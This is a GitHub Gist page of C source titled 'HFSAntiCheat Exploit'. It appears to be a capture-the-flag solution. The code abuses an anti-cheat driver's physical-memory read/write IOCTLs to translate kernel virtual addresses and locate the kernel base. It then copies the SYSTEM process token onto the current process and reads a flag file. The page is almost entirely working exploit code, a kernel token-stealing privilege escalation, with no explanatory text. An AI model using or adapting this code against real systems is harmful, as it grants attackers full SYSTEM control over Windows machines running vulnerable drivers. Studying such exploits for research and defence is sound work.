-
-
Save likvidera/5985ee42ce0cd751911cc82276c43fa8 to your computer and use it in GitHub Desktop.
HFSAntiCheat Exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <windows.h> | |
#define DTB_MAGIC 0x00000001000600E9 | |
#define DTB_OFFSET 0x0 | |
#define KENTRY_VA 0xfffff80000000000 | |
#define KENTRY_OFFSET 0x070 | |
#define PML4_OFFSET 0x0a0 | |
#define ADDR_1MB_START 0x1000 | |
#define ADDR_1MB_END 0x9f000 | |
#define PAGE_SIZE 0x1000 | |
#define PQWORD PDWORD64 | |
#define QWORD DWORD64 | |
#define IOCTL_READ_PHYSMEM \ | |
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80001, METHOD_BUFFERED, FILE_ANY_ACCESS) | |
#define IOCTL_WRITE_PHYSMEM \ | |
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80002, METHOD_BUFFERED, FILE_ANY_ACCESS) | |
typedef struct _IOCTL_STRUCT { | |
SIZE_T bufferLen; | |
ULONG_PTR buffer; | |
ULONG_PTR addr; | |
} IOCTL_STRUCT, *PIOCTL_STRUCT; | |
#define PT_INDEX(va, level) ((va >> (12 + 9 * level)) & 0x1FF) | |
typedef enum { | |
PT_LEVEL_PTE = 0, | |
PT_LEVEL_PDE = 1, | |
PT_LEVEL_PPE = 2, | |
PT_LEVEL_PXE = 3, | |
} PageTableLevel; | |
void print_hex(const unsigned char *data, size_t length) { | |
for (size_t i = 0; i < length; i++) { | |
printf("%02X ", data[i]); | |
} | |
printf("\n"); | |
} | |
typedef BOOL(WINAPI *READFILE)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED); | |
BOOLEAN readFlagFile(LPVOID buffer, DWORD bufferLen) { | |
HMODULE hModule = GetModuleHandleA("kernel32.dll"); | |
if (hModule == NULL) { | |
return FALSE; | |
} | |
READFILE pReadFile = (READFILE)GetProcAddress(hModule, "ReadFile"); | |
if (pReadFile == NULL) { | |
return FALSE; | |
} | |
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\flag.txt", GENERIC_READ, 0, | |
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); | |
if (hFile == INVALID_HANDLE_VALUE) { | |
return FALSE; | |
} | |
DWORD bytesRead; | |
BOOLEAN result = pReadFile(hFile, buffer, bufferLen, &bytesRead, NULL); | |
CloseHandle(hFile); | |
return result; | |
} | |
HANDLE openDevice() { | |
return CreateFileA("\\\\.\\HFSAntiCheat", GENERIC_READ | GENERIC_WRITE, 0, | |
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); | |
} | |
BOOLEAN readPhysMem(HANDLE hDevice, ULONG_PTR addr, PVOID buf, SIZE_T buflen) { | |
DWORD bytesReturned = 0; | |
IOCTL_STRUCT ioctlStruct = {0}; | |
ioctlStruct.bufferLen = buflen; | |
ioctlStruct.buffer = (ULONG_PTR)buf; | |
ioctlStruct.addr = addr; | |
return DeviceIoControl(hDevice, IOCTL_READ_PHYSMEM, &ioctlStruct, | |
sizeof(ioctlStruct), &ioctlStruct, sizeof(ioctlStruct), | |
&bytesReturned, NULL); | |
} | |
BOOLEAN writePhysMem(HANDLE hDevice, ULONG_PTR addr, PVOID buf, SIZE_T buflen) { | |
DWORD bytesReturned; | |
IOCTL_STRUCT ioctlStruct = {0}; | |
ioctlStruct.bufferLen = buflen; | |
ioctlStruct.buffer = (ULONG_PTR)buf; | |
ioctlStruct.addr = addr; | |
return DeviceIoControl(hDevice, IOCTL_WRITE_PHYSMEM, &ioctlStruct, | |
sizeof(ioctlStruct), &ioctlStruct, sizeof(ioctlStruct), | |
&bytesReturned, NULL); | |
} | |
QWORD readPT(HANDLE hDevice, PQWORD ptBase, size_t ptIndex) { | |
QWORD value = 0; | |
QWORD addr = ((QWORD)ptBase & 0x00FFFFFFFFFFF000) + (ptIndex * sizeof(QWORD)); | |
if (!readPhysMem(hDevice, addr, (PVOID)&value, sizeof(PVOID))) { | |
return 0; | |
} | |
return value; | |
} | |
QWORD VTOP(HANDLE hDevice, QWORD pml4Base, QWORD virtualAddr) { | |
if (pml4Base == 0 || virtualAddr == 0) { | |
return 0; | |
} | |
PQWORD pxeBase = (PQWORD)(pml4Base & 0xFFFFFFFFFFFFF000); | |
QWORD ppeEntry = | |
readPT(hDevice, pxeBase, PT_INDEX(virtualAddr, PT_LEVEL_PXE)); | |
PQWORD ppeBase = (PQWORD)(ppeEntry & 0xFFFFFFFFFFFFF000); | |
QWORD pdeEntry = | |
readPT(hDevice, ppeBase, PT_INDEX(virtualAddr, PT_LEVEL_PPE)); | |
PQWORD pdeBase = (PQWORD)(pdeEntry & 0xFFFFFFFFFFFFF000); | |
if (pdeEntry & (1ULL << 7)) { | |
return (pdeEntry & 0x00FFFC0000000) | (virtualAddr & 0x3FFFFFFF); | |
} | |
QWORD ptEntry = readPT(hDevice, pdeBase, PT_INDEX(virtualAddr, PT_LEVEL_PDE)); | |
PQWORD ptBase = (PQWORD)(ptEntry & 0xFFFFFFFFFFFFF000); | |
if (ptEntry & (1ULL << 7)) { | |
return (ptEntry & 0x00FFFFFE00000) | (virtualAddr & 0x1FFFFF); | |
} | |
QWORD pteEntry = readPT(hDevice, ptBase, PT_INDEX(virtualAddr, PT_LEVEL_PTE)); | |
return (pteEntry & 0x00FFFFFFFFFFF000) | (virtualAddr & 0xFFF); | |
} | |
BOOL readVirtualMem(HANDLE hDevice, QWORD pml4, QWORD addr, PVOID data, | |
SIZE_T len) { | |
QWORD paddr = 0; | |
if ((paddr = VTOP(hDevice, pml4, addr)) == 0) { | |
printf("Failed to get physical address for %p\n", (PVOID)addr); | |
return FALSE; | |
} | |
if (!readPhysMem(hDevice, paddr, data, len)) { | |
return FALSE; | |
} | |
return TRUE; | |
} | |
BOOL writeVirtualMem(HANDLE hDevice, QWORD pml4, QWORD addr, PVOID data, | |
SIZE_T len) { | |
QWORD paddr = 0; | |
if ((paddr = VTOP(hDevice, pml4, addr)) == 0) { | |
printf("Failed to get physical address for %p\n", (PVOID)addr); | |
return FALSE; | |
} | |
return writePhysMem(hDevice, paddr, data, len); | |
} | |
QWORD FindPML4(PVOID page, PQWORD HalpLMStub) { | |
QWORD directoryTable = 0x0; | |
if (DTB_MAGIC == (0xffffffffffff00ff & *(PQWORD)(page + DTB_OFFSET)) && | |
KENTRY_VA == (0xfffff80000000003 & *(PQWORD)(page + KENTRY_OFFSET)) && | |
!(0xffffff0000000fff & *(PQWORD)(page + PML4_OFFSET))) { | |
*HalpLMStub = *(PQWORD)(page + KENTRY_OFFSET); | |
directoryTable = *(PQWORD)(page + PML4_OFFSET); | |
} | |
return directoryTable; | |
} | |
QWORD GetDirectoryTableBase(HANDLE hDevice, PQWORD HalpLMStub) { | |
QWORD pml4Base = 0x0; | |
PVOID page = calloc(PAGE_SIZE, 1); | |
for (QWORD addr = ADDR_1MB_START; addr <= ADDR_1MB_END; addr += PAGE_SIZE) { | |
if (!readPhysMem(hDevice, addr, page, PAGE_SIZE)) { | |
continue; | |
} | |
if ((pml4Base = FindPML4(page, HalpLMStub)) != 0) { | |
printf("Found pml4 at: %p\n", addr); | |
break; | |
} | |
} | |
free(page); | |
return pml4Base; | |
} | |
int main() { | |
char buffer[256] = {0}; | |
QWORD pml4 = 0; | |
HANDLE hDevice = NULL; | |
QWORD HalpLMStub = 0x0; | |
QWORD KernelBase = 0x0; | |
QWORD PsInitialSystemProcess = 0x0; | |
QWORD HalpLMStubOffset = 0x3f7ee0; | |
QWORD PsInitialSystemProcessOffset = 0xcfc420; | |
QWORD TokenOffset = 0x4B8; | |
QWORD PIDOffset = 0x440; | |
QWORD ActiveProcessLinksOffset = | |
0x448; | |
DWORD SystemPID = 0; | |
QWORD SystemToken = 0x0; | |
DWORD currentPID = GetCurrentProcessId(); | |
QWORD nextEPROCESS = 0x0; | |
do { | |
printf("\nExploit running!\n"); | |
if ((hDevice = openDevice()) == INVALID_HANDLE_VALUE) { | |
printf("Failed to open the device!\n"); | |
break; | |
} | |
if ((pml4 = GetDirectoryTableBase(hDevice, &HalpLMStub)) == 0) { | |
printf("Failed to find DirectoryTableBase\n"); | |
break; | |
} | |
printf("Current user: %s\n", GetUserNameOfCurrentProcessToken()); | |
printf("HalpLMStub: %p\n", (PVOID)HalpLMStub); | |
printf("directoryTable: %p\n", (PVOID)pml4); | |
KernelBase = HalpLMStub - HalpLMStubOffset; | |
PsInitialSystemProcessOffset += KernelBase; | |
printf("KernelBase: %p\n", (PVOID)KernelBase); | |
printf("KernelBaseDump: "); | |
PVOID mem = malloc(20); | |
readVirtualMem(hDevice, pml4, KernelBase, mem, 20); | |
print_hex(mem, 20); | |
free(mem); | |
readVirtualMem(hDevice, pml4, PsInitialSystemProcessOffset, | |
(PVOID)&PsInitialSystemProcess, sizeof(QWORD)); | |
printf("PsInitialSystemProcess: %p\n", (PVOID)PsInitialSystemProcess); | |
readVirtualMem(hDevice, pml4, PsInitialSystemProcess + PIDOffset, | |
(PVOID)&SystemPID, sizeof(DWORD)); | |
if (SystemPID != 4) { | |
printf("Unexpected SystemPID for PsInitialSystemProcess .. bailing\n"); | |
break; | |
} | |
readVirtualMem(hDevice, pml4, PsInitialSystemProcess + TokenOffset, | |
(PVOID)&SystemToken, sizeof(QWORD)); | |
printf("SystemToken: %p\n", (PVOID)SystemToken); | |
LIST_ENTRY activeProcessLinkList = {0}; | |
nextEPROCESS = PsInitialSystemProcess; | |
do { | |
if (!readVirtualMem(hDevice, pml4, | |
nextEPROCESS + ActiveProcessLinksOffset, | |
(PVOID)&activeProcessLinkList, sizeof(LIST_ENTRY))) { | |
break; | |
} | |
if (activeProcessLinkList.Blink == 0) { | |
printf("Failed to find the next EPROCESS\n"); | |
break; | |
} | |
nextEPROCESS = | |
(QWORD)(char *)activeProcessLinkList.Blink - ActiveProcessLinksOffset; | |
if (nextEPROCESS == 0 || nextEPROCESS == PsInitialSystemProcess) { | |
printf("Failed to find target process\n"); | |
break; | |
} | |
if (!readVirtualMem(hDevice, pml4, nextEPROCESS + PIDOffset, | |
(PVOID)&SystemPID, sizeof(DWORD))) { | |
break; | |
} | |
if (SystemPID == currentPID) { | |
printf("Found target process!\n"); | |
writeVirtualMem(hDevice, pml4, nextEPROCESS + TokenOffset, &SystemToken, | |
sizeof(QWORD)); | |
break; | |
} | |
} while (1); | |
if (readFlagFile(buffer, sizeof(buffer))) { | |
printf("Flag: %s\n", buffer); | |
} | |
break; | |
} while (1); | |
if (hDevice) | |
CloseHandle(hDevice); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment